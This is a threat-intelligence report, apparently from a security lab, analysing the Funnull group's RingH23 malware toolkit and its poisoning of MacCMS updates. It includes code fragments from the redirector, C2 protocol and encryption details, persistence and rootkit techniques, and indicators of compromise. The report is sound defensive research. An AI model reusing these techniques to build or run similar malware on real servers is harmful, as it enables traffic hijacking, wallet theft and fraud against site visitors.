Funnull (Funnull Technology Inc.), also known as Fangneng CDN, is a Philippines-registered company that publicly claims to provide CDN services. In reality, it has long operated as a key infrastructure provider for Southeast Asia’s cybercriminal ecosystem, offering one-stop services for large-scale “pig-butchering” scam operations. It has been formally designated by the U.S. government as a major cybercrime enabler and is widely referred to in Chinese underground circles as a “fraud-dedicated cloud.” On May 29, 2025, the U.S. Treasury’s Office of Foreign Assets Control (OFAC) announced sanctions against the Funnull group, after which its public operations largely stalled. However, cybercriminal supply chains are highly resilient. Established operators like Funnull often resurface after going dormant. Our latest research suggests that Funnull has re-emerged under a new identity.

The story resumes on July 9, 2025. XLab's Cyber Threat Insight and Analysis System(CTIA) detected that domain download.zhw.sh was distributing an ELF binary with 0 VirusTotal detection. What first jumped out was the image(MD5:5f34cd492c5af9f56f3c38e72320cc49) shown on hxxp://zhw.]sh — we couldn’t help but think: these guys are unbelievably daring.

More critically, the domain embedded in the sample, client.110.nz, showed an astonishing 1.6 billion DNS resolutions within our Passive DNS (PDNS) system.Taken together, these anomalies strongly suggested that we were not looking at an isolated incident — but rather at something much bigger.

We began the analysis with considerable excitement and quickly reached an initial conclusion: the ELF file is a downloader. It attempts to retrieve multiple payloads from a remote server, including udev.sh, udev.rules, module.so, libutilkeybd.so, and ring04h_office_bin. However, due to the absence of a valid session token and group key, we were unable to pass the server-side validation mechanism and therefore could not obtain the subsequent samples.Nevertheless, based on the intended purposes of these payloads — such as libutilkeybd.so leveraging the LD_PRELOAD mechanism for hijacking and udev.rules enabling persistence via Udev — we are highly confident that the downloader is malicious.

To uncover its true objective, we conducted proactive hunting using the file names as pivots and quickly identified key components: module.so and libutilkeybd.so. One month later, we captured the first ring04h_office_bin sample. The gradual acquisition of these samples allowed us to reconstruct the attack chain.The attackers first compromised a GoEdge management node and implanted an infection module named infection_init. This module then issued SSH remote commands to force all edge nodes to download and execute downloader_init. The downloader_init component — the aforementioned downloader — subsequently deployed a structured suite of malicious payloads across compromised nodes.

The toolkit exhibits clear modular separation of responsibilities. Based on the recurring string “RING04H” in samples and the fact that the office_bin module decrypts configuration files using XOR 23, we designated the toolkit RingH23. It consists of multiple purpose-built components, including:

• udev.sh & udev.rules: Rare Udev-based persistence scripts and rules
• module.so (Badnginx2s): A malicious Nginx module responsible for traffic hijacking, cryptocurrency wallet replacement, and malicious JavaScript injection
• ring04h_office_bin (Badredis2s): A backdoor module maintaining long-term node persistence, with C2 hosted on Azure Blob Storage
• libutilkeybd.so (Badhide2s): A userland rootkit used to conceal payload activity

One of the core objectives of this campaign is to inject malicious JavaScript into web pages, hijacking visitors and redirecting them to gambling and pornographic websites. These scripts are hosted on typosquatted domains impersonating major public CDN providers, including:

• code.jquecy[.]com (impersonating jquery.com)
• cdn.jsdclivr[.]com (impersonating jsdelivr.com)
• cdnjs.clondflare[.]com (impersonating cloudflare.com)
• static.bytedauce[.]com (impersonating bytedance.com)

These domains were registered in 2025 and according to our telemetry, they have already achieved significant reach. For example, clondflare peaked on August 30, 2025, with 340,000 unique client visits in a single day. It is important to note that our data source covers approximately 5% of the domestic market. Extrapolating proportionally, clondflare may have been accessed — actively or passively — by an estimated 6.8 million users nationwide on that day alone. The scale of impact is staggering.

It is evident that the group behind this campaign is far from an ordinary hacking outfit. Using the malicious JavaScript as a pivot for attribution, we conducted a trace-back analysis and made a striking discovery: the JS code deployed in this operation is virtually identical to the scripts used in the February 2024 Polyfill.io supply-chain attack and the two official GoEdge poisoning incidents in May 2024.The threat actor behind those operations was none other than the notorious Funnull cybercriminal group.

As our investigation deepened, we found that Funnull has not ceased its attacks on open-source supply chains and infrastructure providers. Beyond the previously exposed CDN services, the group has expanded its targeting to the CMS ecosystem.We confirmed that the maccms.la edition of MacCMS is leveraging the same malicious JavaScript to conduct stealthy supply-chain poisoning attacks.

Below are the core findings of this research:

1. Funnull Returns — Rebranded and Fully Upgraded

Funnull is back.This is the same organization behind the 2024 Polyfill.io supply-chain attack, as well as multiple CDN poisoning incidents involving BootCDN, Bootcss, and Staticfile. It is the group publicly named by the U.S. Treasury for facilitating “pig-butchering” scams, with reported victim losses exceeding $200 million.

Previously, Funnull primarily parasitized existing public CDN services to inject malicious code. Now, it has evolved. The group has developed a fully self-owned, server-side attack framework — RingH23 — actively compromising CDN nodes and deploying its own infrastructure. Both its operational control and technical sophistication have reached a new level.

2. Two Independent Infection Vectors

Path One: GoEdge Management Node Compromise → SSH Lateral Propagation → RingH23 Deployment

Attackers first compromised a GoEdge CDN management node and implanted an infection module. They then used SSH remote commands to forcibly deploy the RingH23 toolkit to all edge nodes.

RingH23 includes multiple specialized components: Badredis2s, Badnginx2s, Badhide2s. This toolkit leverages the rarely abused UDEV mechanism for persistence. The modular structure, clean separation of responsibilities, and engineering maturity clearly indicate a professional black-market development operation — not opportunistic script-kiddie activity.

Path Two: MACCMS Official Update Channel Poisoning

AppleCMS (maccms.la edition) is an open-source video site management system with over 2,700 stars on GitHub and widespread adoption among small and mid-sized streaming site operators in China.Evidence indicates that it has fallen under Funnull’s control. We have confirmed that the official update channel distributed malicious PHP backdoors.

The poisoning mechanism is highly deceptive:

• The payload triggers only upon the administrator’s first login after installation.
• The download link is valid for just three minutes.
• Once retrieved — or expired — the payload becomes inaccessible.

This time-limited design significantly hinders retrospective forensic analysis.

3. CDN1.AI — A Highly Suspicious New Infrastructure Layer

Domains hosting Funnull’s malicious JavaScript have recently migrated en masse to CDN1.AI. CDN1 was created in June 2025 and was rapidly adopted by Funnull’s infrastructure. However, its operational hygiene is notably poor — even its official website certificate has expired, behavior inconsistent with a legitimate CDN provider.

Given the synchronized migration timing and the rapid trust establishment pattern, we assess with high confidence that CDN1.AI is not an independent third-party CDN, but rather a newly established front infrastructure controlled by Funnull to evade tracking.This suggests the group is actively rebuilding its infrastructure layer.

4. Operational Sophistication: Precision Targeting and Behavioral Profiling

The campaign primarily targets mobile users and includes geographic and temporal restrictions (currently triggered only within the China time zone).Hijacking probability varies by time window. For example, between 4:00–7:00 AM, the redirection probability reaches as high as 80%, exploiting users’ late-night fatigue and lowered self-control.

Even more concerning is the attackers’ profiling strategy. Based on page content keywords, visitors are segmented and redirected differently — a targeting model comparable to commercial growth operations.

• “Low-value traffic” (users visiting legitimate content):
  Initially redirected to soft-core or borderline content to lower psychological resistance, gradually increasing conversion probability.

• “High-value traffic” (users already browsing gray-area content):
  Immediately redirected to upstream gambling platforms or high-monetization adult sites to accelerate addiction and maximize revenue extraction.

The level of behavioral segmentation and time-based probability control reflects an industrialized, data-driven criminal operation — not random monetization abuse, but structured growth hacking within the underground economy.

Million-Level Impact Scale

Based on the existing monitoring data, although it is difficult to precisely quantify the overall infection scale of this cybercriminal campaign, observations from three dimensions — infected websites, C2 rankings, and trends in malicious JS access — are sufficient to confirm its widespread impact.

0x1: Detection of Infected Websites

The JS code injected into web pages has highly distinctive characteristics, such as the strings “function xxSJRox,” “MfXKwV,” and “ptbnNbK.” Through asset mapping, we identified 10,748 IP addresses matching these signatures, most of which are streaming or movie-related websites.

It is worth noting that the malicious code is dynamically injected, meaning many actually infected websites may not be detected through asset mapping.

0x2: C2 Rankings

Tranco is a comprehensive ranking system used to measure website popularity, designed to provide more accurate and reliable global website ranking data. It aggregates multiple data sources, including Cisco Umbrella, Majestic, Farsight Security, Cloudflare Radar, and Chrome User Experience Report, and is widely used in academia.

Currently, most of Badredis2s’ C2 servers rank around 500,000 globally, indicating very high activity levels.

0x3: Trend of Malicious JS Access

During the tracing process, we identified three additional malicious JS hosting sites: bdustatic[.]com, jsdelivr[.]vip, and macoms[.]la.

According to statistical data, the peak number of unique clients per day reached 580,000. Although the number has slightly declined, it currently remains at around 200,000.

Considering the market share of the data source, a conservative estimate suggests that over one million users per day are affected by the illegal sites behind these malicious JS scripts.

The Return of FUNNULL

0x1: Reasons for Attributing to FUNNULL

Funnull, as an upstream infrastructure provider within the Southeast Asian cybercrime ecosystem, primarily operates by bulk-purchasing clean IP addresses from cloud providers such as Amazon Web Services and Microsoft Azure. It then combines these resources with DGA-generated domains, “cleans” them, and resells them to downstream fraud groups, thereby supporting pig-butchering scams, fake investment platforms, and similar operations.

However, in multiple CDN poisoning incidents involving polyfill.io, bootcdn.net, and staticfile.org, Funnull did not merely act as a passive supplier. Instead, it directly acquired domains and injected malicious JavaScript code itself. These incidents — where the group personally conducted the malicious operations — strongly indicate that the poisoning scripts were fully controlled and operated by Funnull.

Because these scripts directly implement core malicious redirection and traffic hijacking functions, maintaining strict control ensures efficient operation of the criminal supply chain, maximizes profit-sharing returns, and avoids efficiency losses or revenue disputes caused by downstream modifications.

Based on this technical inference, we believe that JavaScript script characteristics can serve as a key basis for attack attribution. Funnull’s scripts can generally be categorized into two types: JS Loader and JS Redirector. Together, they form a traffic redirection framework. The JS Loader dynamically loads a Redirector payload disguised as a jQuery library, while the Redirector hijacks user requests that meet predefined conditions and redirects them to gambling, pornographic, or other illegal websites.

① JS Loader

The core logic of the Loader relies on environment detection and anti-debugging techniques to stealthily load external resources on specific devices. The code conceals the real URL using Base64 encoding and dynamically creates a <script> tag via string concatenation to load a disguised jQuery library. However, execution is limited to non-Mac/Windows platforms (such as mobile devices and Linux systems).

The Loader code captured in this campaign is identical to that used in the 2023 BootCDN poisoning incident, including environment detection logic, decoding function structure, and parameter naming conventions.

Additionally, the domain macoms[.]la has appeared in two other attack incidents: the Polyfill supply chain attack and the GoEdge official poisoning incident. The former has been publicly analyzed by multiple security vendors and the community and attributed to Funnull. Although no comprehensive public analysis report is yet available for the latter, based on domain reuse and the consistency of traffic hijacking patterns, we have strong reason to believe that the GoEdge poisoning incident was also carried out by the Funnull group.

② JS Redirector

The core logic of the Redirector is to implement multi-layer detection mechanisms — including device type, page keywords, timezone, and access time period — and redirect users with varying probabilities at different times of day (e.g., 60%–80% hijack probability between 00:00–08:00, and 50% during other hours) to specific pornographic, gambling, or scam-related promotional sites, thereby monetizing traffic.

Funnull’s Redirector exhibits highly distinctive stylistic traits. It typically filters by device type and primarily targets mobile devices such as smartphones and tablets. Desktop traffic has lower value, lower conversion rates, and is more likely to be detected by administrators or security software, making it less attractive for monetization.

  var ismobile = navigator.userAgent.match(
  /(phone|pad|pod|iPhone|iPod|ios|iPad
  |Android|Mobile|BlackBerry|IEMobile|
  MQQBrowser|JUC|Fennec|wOSBrowser|
  BrowserNG|WebOS|Symbian|Windows Phone)
  /i);
  
    function isPc() {
    try {
      var _0x32df76 = navigator.platform == "Win32" || 
      navigator.platform == "Windows";
      var _0x508d68 = navigator.platform == "Mac68K" || 
      navigator.platform == "MacPPC" || 
      navigator.platform == "Macintosh" || 
      navigator.platform == "MacIntel";
      if (_0x508d68 || _0x32df76) {
        return true;
      } else {
        return false;
      }
    } catch (_0x2decf9) {
      return false;
    }
  }

Further build an initial user profile based on page content, assess their potential commercial value, and implement differentiated traffic redirection strategies. In simple terms: for “proper” users, lure them with some pornographic content to gradually erode their mindset and make them easier targets; for “less proper” users, increase the intensity and extract maximum value.

Proper Users (Low-Value Traffic)

• Profile: Currently visiting mainstream, normal content pages (no obvious gray/black keywords). These users typically have higher initial vigilance, lower willingness to pay, and longer conversion cycles.

• Strategy: Prioritize pushing entry-level pornographic, suggestive, or mildly explicit content. By lowering psychological barriers and stimulating curiosity, gradually guide them toward deeper consumption scenarios, ultimately achieving conversion.

Less Proper Users (High-Value Traffic)

• Profile: Currently visiting pornography, gambling, lottery (e.g., Mark Six), adult navigation sites, adult live streaming, etc. (containing numerous related keywords). These users already have explicit demand, stronger willingness to pay, are sensitive to platform capability and content intensity, and have short conversion cycles.

• Strategy: Directly match them with more upstream, more professional, better-funded, and more stimulating platforms. Provide high-quality content and higher return mechanisms to accelerate user addiction and maximize per-user output (registration, first deposit, continued spending, etc.)

After determining the strategy, dynamically adjust the redirection probability based on the current time period, fully leveraging users’ psychological states and behavioral characteristics at different times of day to achieve more efficient traffic monetization:

• 00:00–01:59 – Redirect probability 60%. Users have just entered late night; vigilance begins to decline, but most are not fully relaxed yet. Suitable for moderate scaling.

• 02:00–03:59 – Redirect probability 70%. Deep night stage; users’ decision-making and self-control significantly weaken, impulsive spending increases. A golden window for breaking defenses and driving conversion.

• 04:00–06:59 – Redirect probability 80%. Early-morning peak; users are fatigued, feel stronger loneliness, and have the lowest vigilance. Acceptance of porn/gambling content and payment impulse reach peak levels. Maximum delivery intensity and highest conversion efficiency.

• 07:00–07:59 – Redirect probability drops back to 60%. Early morning; users begin to wake up and vigilance rises. Reduce intensity appropriately to avoid disrupting routines and triggering reports or churn.

• Other times (Daytime 08:00–23:59) – Base probability 50%. Users are active but more vigilant during the day; maintain moderate delivery probability.

The redirector also includes a time zone detection mechanism. Redirection is triggered only in specific regions. Based on captured samples, it currently targets China only.

    var _0x326fff = _0x1ec843.getHours();
    var _0x16beb8 = Intl.DateTimeFormat().resolvedOptions().timeZone;
    const _0x43a7e6 = [ "Asia/Shanghai", 
                        "Asia/Chongqing", 
                        "Asia/Harbin", 
                        "Asia/Urumqi", 
                        "Asia/Kashgar", 
                        "Asia/Beijing"];
    if (_0x43a7e6.includes(_0x16beb8)) { ... }
    

Even when all the above conditions are met, there is an additional control layer. Funnull designed a remote control switch: by dynamically loading an external JavaScript file to set the usercache variable, redirection is only executed when this variable is true, thereby enabling remote control of the attack behavior.

These behaviors are typical characteristics of Funnull Redirector–type scripts. The JS scripts captured in this incident are almost identical to samples from previous poisoning campaigns in terms of overall coding style, obfuscation techniques, and core logic design, demonstrating clear family homology. Taking the scripts from the GoEdge incident and the samples delivered by the RingH23 attack kit in this campaign as examples, their stylistic similarities are immediately apparent.

Another more direct piece of evidence is that ailyunoss.com (impersonating Alibaba Cloud), which acted as the remote control switch in this campaign, was registered on April 24, 2025. Its DNS resolution history clearly shows that between May 22 and July 9, 2025, the domain used Funnull CDN services. This discovery directly attributes both the RingH23 attack suite and the active poisoning of the official maccms.la software to the FUNNULL cybercriminal group.

0x2: Suspicious cdn1.ai

The domains used by Funnull to host malicious JavaScript scripts are currently leveraging CDN services based on the cdn1.ai infrastructure. cdn1.ai was created on June 18, 2025. Its official website claims it is a global content delivery network, providing high-speed, stable content acceleration services with over 200 nodes, improving website access speeds by more than 95%.

We classified the JS malicious domains based on CNAME records. Historical activity clearly shows the migration from Funnull’s own CDN to cdn1.ai.

By cross-analyzing the domains involved in this campaign with domains used in past attacks, it can be observed that these domains completed the migration to cdn1.ai within a similar time window (mostly in July).

This raises an important question: as an emerging CDN provider, how did CDN1.AI gain the trust of a mature cybercriminal organization like Funnull in such a short period? For Funnull, which generates substantial daily revenue, infrastructure choices are extremely cautious, with high requirements for stability. However, CDN1.AI’s performance appears unreliable: its technical architecture is based on the open-source GoEdge project, which is inherently inadequate for professional commercial environments. Furthermore, operational management is not very professional—for example, its official website had an expired SSL certificate that was not updated promptly, which clearly does not meet the standard expected of a stable service provider.

Currently, there is no direct evidence linking CDN1.AI to the Funnull group. However, considering its anomalous rapid trust acquisition, sloppy operational management, and migration timing closely synchronized with Funnull’s infrastructure, a technical hypothesis can be made: CDN1.AI is likely not a genuine third-party CDN, but a new alias set up by Funnull to evade tracking.

Technical Details of MacCMS Poisoning

MacCMS is a professional video content management system based on PHP and MySQL. It is free and open-source and is primarily used to quickly build and manage various video websites, such as movie, TV series, or anime sites. Thanks to its convenient content collection functions and flexible template system, it has been popular among small and medium-sized site operators since its release and is widely used for personal or small-scale commercial video platforms. The original officially maintained version (original website: maccms.com) stopped updating around 2019. Subsequently, a community version called maccms.la began providing updates and support. Its GitHub projects have accumulated over 2,700 stars, reflecting an active community and user recognition.

However, such a widely used project has become involved in a supply-chain security incident. We have clear evidence that the official upgrade channel of maccms.la was used to deliver malicious PHP backdoor code. Once executed on the server, the backdoor further injects malicious JavaScript scripts that hijack front-end pages and manipulate traffic. The technical characteristics of these malicious scripts are highly consistent with the methods used by the FUNNULL group in multiple historical attacks, supporting the industry consensus: maccms.la has effectively been controlled by the FUNNULL group, or acquired by them, and continues to operate as part of their attack infrastructure.

0x1: Upgrade Channel Poisoning

In the maccms GitHub source code, the file application\admin\view_new\index\index.html contains an AJAX snippet that reports version information of maccms, PHP, and ThinkPHP to the remote server (update.maccms.la) to check for updates.

Everything appears normal. However, in practice, we discovered that upon the first login to the admin panel after MACCMS installation, the remote server delivers malicious JS code designed to steal sensitive data and download a malicious PHP payload.

• post：Reports sensitive information such as cookies and the admin panel URL to the remote server.
• iframe：Uses a hidden iframe to trigger MACCMS’s download mechanism and retrieve the malicious payload.

When the iframe loads the URL specified in its src attribute ADMIN_PATH/admin/update/step1.html?file=laupdc00ecc82ab4b6d060da64d886e97b2c4 the browser sends a request to that URL. The backend routing mechanism ultimately invokes the step1() function located in application/admin/controller/Update.php.

The core logic of this function is as follows: it receives the file parameter, appends a .zip extension, combines it with a timestamp to generate a complete resource identifier, and then sends a request to a designated remote server to fetch the corresponding file.

Traffic analysis shows that laupdc00ecc82ab4b6d060da64d886e97b2c4.zip consists of a laupd prefix and a 32-character MD5 string, forming a typical disguised naming scheme. The Date and Last-Modified headers are identical, with a short validity period of only 3 minutes (max-age=180). This indicates that the file is dynamically generated on demand rather than pre-stored. After expiration, access returns “access denied,” effectively evading forensic retrieval.

0x2: PHP Malicious Payload

After extraction, laupdc00ecc82ab4b6d060da64d886e97b2c4.zip releases application/extra/active.php. Additionally, another malicious PHP payload, addons.php, was discovered in the wild.

Both payloads are unobfuscated and easy to analyze. Their core purpose is to inject malicious JavaScript into websites, though they use different strategies:

• addons.php dynamically injects malicious JS before the </html> tag.
• active.php uses a hybrid strategy:Dynamically inserts malicious JS before </head>. Statically modifies system JS template files by appending malicious code.

active.php registers a view_filter hook within the ThinkPHP framework, ensuring that all rendered pages automatically trigger the infection process, enabling full traffic monitoring and real-time attacks.

To reduce exposure, a refined filtering mechanism ensures malicious execution only when:

• The user accesses via mobile device
• The visit originates from an external referrer
• The request is not Ajax
• Each user is attacked at most once every 10 hours

When the conditions are met, the process of tampering with HTML and JS is carried out. First, let’s look at the modification of HTML. Its core logic is actually to use the str_replace function to replace $template_marker in the webpage with $template_token.$template_marker.

Both $template_token and $template_marker are encoded in octal and compressed with gzip. Readers without a PHP environment can use an online PHP Sandbox to view their contents. template_token is malicious JS code, which should look very familiar—it is exactly the JS Loader code analyzed in the previous section. Meanwhile, template_marker corresponds to the <\/head> tag.

Next, let’s look at the modification of JS. Its core logic is to use the file_put_contents function to overwrite the original JS file. The malicious JS code, along with a tag in the format /*system_optimization_signature*/, is appended to the end of the JS file. system_optimization_signature serves as the indicator of whether the JS file has been infected. It is the first 12 bytes of the MD5 value of the malicious JS code, specifically 138ae887806f.

Searching for 138ae887806f on Google reveals many users discussing this infection. However, users’ cleanup efforts often remain limited to removing the infected JavaScript files—addressing only the surface symptom. The deeper PHP malicious payload, as well as the official poisoning channel of maccms[.]la that serves as a persistent attack source, often goes undetected and unremoved. As a result, websites are repeatedly reinfected with malicious code, falling into a cycle of “cleanup–reinfection.”

Technical Details of RingH23 Arsenal

0x1: infect_init

The basic information of the infection_init component is shown below. It is an infector implemented in Golang and packed using standard UPX.

MD5:65ac2839ab2790b6df8e80022982a2c0
Magic:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped section header size
Packer: UPX

infect_init must be executed with root privileges. At a minimum, three parameters must be provided: session_token, service_url, and group. The default value of service_url is service.client.110[.]nz.

First, it sequentially verifies whether the token and group are valid with the server specified by server_url. Both verifications use the GET method, and the User-Agent is hardcoded as Azure.

• Token verification request:
  The URI used is /api/session/verify, and the specified token is stored in the X-Session header field.

• Group verification request:
  The URI used is /api/client_group/"group". In the traffic shown below, the group value is j6.

After token and group pass verification, the program traverses the /proc directory to locate the edge-admin process. It then retrieves the database username and password from the process configuration file api_db.yaml, and executes the following SQL query to obtain edge nodes and their login credentials from the database:

SELECT n.id, n.name, n.clusterId, l.type, l.params
FROM edgeNodes AS n LEFT JOIN edgeNodeLogins AS l
ON n.id=l.nodeId WHERE n.state=1

After successfully obtaining the node login credentials, it executes the Main_SSHExec function, which logs into the edge nodes via SSH to download the next-stage payload.

The core logic of Main_SSHExec is to execute the following script to deploy the next-stage download_init component on the edge node, where DOWNLOAD_URL is:
download.zhw[.]sh/EMrsVQj9VQ/init

0x2: download_init

The basic information of the download_init component is shown below. It is a downloader implemented in Golang and protected with the standard UPX packer.

MD5:5d6c33bf931699805206b00594de5e71
MAGIC:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
PACKER:UPX

The main purpose of download_init is to download the next-stage malicious payloads, including a backdoor Trojan, a rootkit, udev persistence rules, and an Nginx module.

Similar to infect_init, download_init must also be executed with root privileges. In addition to the three parameters service_token, service_url, and group, it must also specify a run mode, such as "install" for installation or "uninstall" for removal.

Unlike infect_init, after the group parameter passes validation, download_init extracts the hash field from the JSON data returned by the C2 server for use in subsequent register requests.

Next, download_init attempts to retrieve information about the Nginx server on the compromised device, including the version number and compilation configuration parameters such as ngx_compat, ngx_dav, ngx_threads, and ngx_real_ip. It then uses this information to construct a register request in order to obtain the download URLs for the next-stage payloads. The URI format of this request is /api/register/{hash}.

From the JSON data returned by the C2, the download URLs of various payloads can be observed. download_init extracts the hash field and uses it to complete the entire infection lifecycle. The specific steps are as follows:

First, it creates a directory named after the hash under /var/adm to store the downloaded malicious payloads.
Next, it implants the udev_rules file into the system rules directory /etc/udev/rules.d, naming it 99-{hash}.rules to achieve persistence and automatic execution after system reboot.
Then, it renames kernel.so to libutilkeybd.so and writes its path into /etc/ld.so.preload, leveraging the system’s preload mechanism to conceal the malicious process activity.
Finally, it launches the backdoor module office_bin to maintain persistent control over the infected device, and restarts the Nginx process to dynamically load the module.so module, hijacking traffic that meets specific conditions to redirect users to pornographic or gambling websites, thereby completing the deployment of all payloads.

0x3: office_bin

office_bin is a highly modular and plugin-based backdoor Trojan that uses AES encryption for network communication. During dynamic analysis, a large number of strings related to redis2s are printed, so we named it badredis2s. It consists of three main components: Dropper, Client, and Plugin. Since the binaries are not stripped, reverse engineering is relatively straightforward and the functionality is clear at a glance.

Dropper: First, let’s look at the Dropper. The following sample is selected as the primary analysis target:

MD5: 79c492bfd8a35039249bacc6a31d7122
MAGIC: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped
Packer: None

Its main purpose is to load an embedded ELF file and execute its exported function kernel_module_entry, with the parameter config_base64, which points to the encrypted configuration data.

Client: The basic information of the file released by the Dropper is as follows:

MD5:ae0de7034c4866556675740f6647bfcc
MAGIC:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

The core logic of the Client is concise and efficient:

It first decrypts the encrypted configuration to extract key parameters such as the C2 server address, task execution schedule, and communication keys. When the system time matches the predefined execution policy, the client attempts to establish a communication channel with the C2 server and waits to receive and execute remote commands.

Notably, this malware employs dual-layer redundancy mechanisms for both C2 acquisition and network transmission, enhancing robustness.

（1）C2 Acquisition Mechanism

• It first dynamically retrieves the latest C2 address from Microsoft Azure Blob Storage.
• If cloud retrieval fails, it automatically falls back to a hardcoded backup C2 address.

（2）Network Transmission Mechanism

• It prioritizes communication over WebSocket over TLS (wss).
• If the wss connection fails due to firewall blocking or network restrictions, it switches to DNS tunneling as a fallback transmission method.

The following sections analyze the Client’s technical implementation in terms of configuration decryption, C2 acquisition, time validation, and network communication.

① Configuration Decryption

The configuration is protected using a simple "xor + base64" scheme. The base64 encoding uses the standard alphabet, and the XOR key is 0x23.

The decrypted configuration contains information such as the C2 address, time rules, AES key, and initialization vector.

② C2 Acquisition

The first 250 bytes of the configuration store the cloud configuration URL for the primary C2, followed by 278 bytes for the backup C2. The primary C2 must be dynamically retrieved via the cloud configuration, while the backup C2 can be used directly.

Access the cloud configuration address of C2 Server 2, and you'll see an IIS logo page that appears perfectly normal. However, the secret is hidden in the webpage source code within the RequestID:/#$*SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==*#$/ section.

The Client uses the regex pattern \\s*/#\\$\\*.*?\\*#\\$/ to extract SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==, which is actually an encrypted C2 configuration. After Base64 decoding and single-byte XOR with 0x23, it reveals the C2 server j6.linuxdistro.net:443, which is consistent with the backup C2 server.

③ Time Window Validation

The Client uses the time_for_connect function to determine whether execution is allowed at the current time. It reads a time whitelist from fixed offsets in the configuration (hour list starting at offset 0x210, minute list starting at offset 0x270) and compares it with the current system time.

However, according to the decrypted configuration, the current policy allows execution 24/7, with no restrictions on hours (0–23) or minutes (0–59).

④ Network Communication

The Client adopts a “WSS-first, DNS-tunnel fallback” dual-channel strategy. Through precise time control and failure-count mechanisms, it maintains C2 reachability while mimicking normal network traffic behavior as much as possible. When stealthy WSS communication is blocked, the sample switches to DNS tunneling within a limited time window to maintain control channel continuity, and later automatically reverts to the primary communication method.

Reverse engineering of the communication data shows that application-layer data within the WSS channel follows a “compress → encrypt” process:

• zlib compression

• AES-128-CBC encryption

The AES key is read from offset 0x360 (16 bytes) in the configuration structure, and the IV is located at offset 0x370 (16 bytes).

The DNS tunnel implementation is based on the open-source tool iodine, which encapsulates IPv4 data into DNS requests and responses, enabling communication in environments where normal internet access is restricted but DNS queries are still allowed.

The related runtime parameters are stored at configuration offset 0x3E5. From this, the Name Server 8.8.8.8 and the Top Domain nsj6.linuxdistro.net can be extracted.

After receiving response data from the C2, the Client first performs AES decryption, then zlib decompression, and finally passes the parsed plaintext data to the kernel_on_message function, executing corresponding functional logic based on different command IDs.

Next, we illustrate the Client’s network packet format using real traffic generated in a virtual machine. The intercepted wss traffic is shown below:

Let’s examine the first command sent from the C2 to the Client. After AES-CBC decryption and decompression, the plaintext is:01 01 00 00 00 00 04 00 00 00 01 00 00 00
The Client’s network packet format follows:

1-byte flag + 4-byte cmd count + 1-byte type + 4-byte cmd1 length + 4-byte cmd1

Parsing the plaintext shows this is command 0x00000001, requesting device information upload.

#AES KEY: 2B990667D0E087AE
#AES IV:  27FAD11C481BD789

# CipherText

00000000  0e 1d 85 54 28 12 fb f2 9a 3c dd 02 6c 83 ed f9  |...T(.ûò.<Ý.l.íù|
00000010  87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa  |.=.F...F&U\*.r.ª|

#PlainText

00000000  01 01 00 00 00 00 04 00 00 00 01 00 00 00        |..............|
flag:1
cmd count: 1
type: 0
cmd1 length:4
cmd1: 0x00000001

If readers attempt to decrypt the second command using the provided CyberChef workflow, they will find decryption fails. This is because, unlike standard AES-CBC mode, Badredis2s uses AES-CBC with chained IV, meaning the IV for each message is the last ciphertext block of the previous message.

To decrypt the second command, the IV must be set to the last 16 bytes of the first ciphertext: 87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa

Finally, let’s look at the Plugin component. In Badredis2s, command 0x12 is related to plugin operations.

After implementing the Badredis2s network protocol in our command-tracking system, we successfully tracked command 0x12 and captured two plugins: shell and filemanager. Each plugin has its own dedicated Request-URI:

• shell → /index/sl.html

• filemanager → /index/fm.html

During analysis of the filemanager plugin, three additional plugins were discovered. Observing naming patterns reveals a correlation between plugin names and paths. By brute-forcing paths, we identified a new URI /index/ao.html, though we were unable to infer its corresponding plugin name or capture it.

The functionality of the plugins is reflected in their names: for example, shell executes shell commands, while filemanager handles file management.

This plugin-based architecture significantly enhances Badredis2s’ flexibility. Attackers can easily perform complex tasks by deploying different functional plugins. Since these plugins are neither obfuscated nor stripped, analysis is relatively straightforward. Readers interested in implementation details may further explore them independently; this article does not elaborate further.

0x4: module.so

module.so is a malicious Nginx filtering module, which we name Badnginx2s. Its basic information is as follows:

MD5: 563f5e605ebf1db8065fd41799e71bf9
MAGIC: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Packer: None

Badnginx2s is a relatively rare Nginx backdoor Trojan. Essentially, it is an Nginx module that implants a malicious filter at the web server layer to deeply tamper with outbound traffic. Its main functions include:

• Remote Command Execution: A covert command channel is reserved for executing remote commands.

• Download Hijacking: When users download specific types of files from an infected website, the Trojan secretly replaces the download link.

• Code Injection: Injects malicious JavaScript into webpages to redirect visitors to gambling, pornographic, or other malicious websites, monetizing traffic or facilitating further fraud.

• Video Insertion: Inserts a 5-second malicious media segment into M3U8 playlist files for streaming hijacking or advertisement injection.

• Digital Asset Theft: Replaces cryptocurrency wallet addresses on webpages with attacker-controlled addresses, silently diverting user transfers and enabling covert financial theft.

Badnginx2s implements these functions by registering two HTTP filter functions: ngx_http_hello_header_filter and ngx_http_hello_body_filter.

• The header_filter handles the HTTP response header stage, performing remote command execution, policy updates, download hijacking, and marking specific pages for malicious injection.

• The body_filter processes the HTTP response body stage, injecting malicious JavaScript and replacing wallet addresses on the client side.

This design enables Badnginx2s to flexibly perform stealthy and precise malicious operations at different response stages, achieving both server-side remote control and client-side theft and fraud.

① Remote Command Execution

The attacker hides remote commands in the Cookie field of HTTP request headers for covert communication.

• The comm field stores the encrypted command, originally formatted as "timestamp$$command" (e.g., 1768813387$$whoami). It is first XOR-encrypted with key 0x5A, then Base64-encoded before transmission.

= The sign field contains a Base64-encoded digital signature generated using the P-256 elliptic curve. Badnginx2s verifies the signature using a public key to ensure command integrity and authenticity.

This mechanism allows attackers to execute remote commands within seemingly normal HTTP requests.

② Config Manipulation

Badnginx2s dynamically generates hijacking configurations at runtime, including redirect domains, malicious JS payload URLs, and whitelist IP ranges.

To enable remote real-time configuration control, attackers establish a covert management channel via Cookie fields:

• Configuration operation commands are encrypted and stored in the conf field (using the same XOR + Base64 method as comm).

• The digital signature is stored in the sign field and validated using the P-256 elliptic curve algorithm.

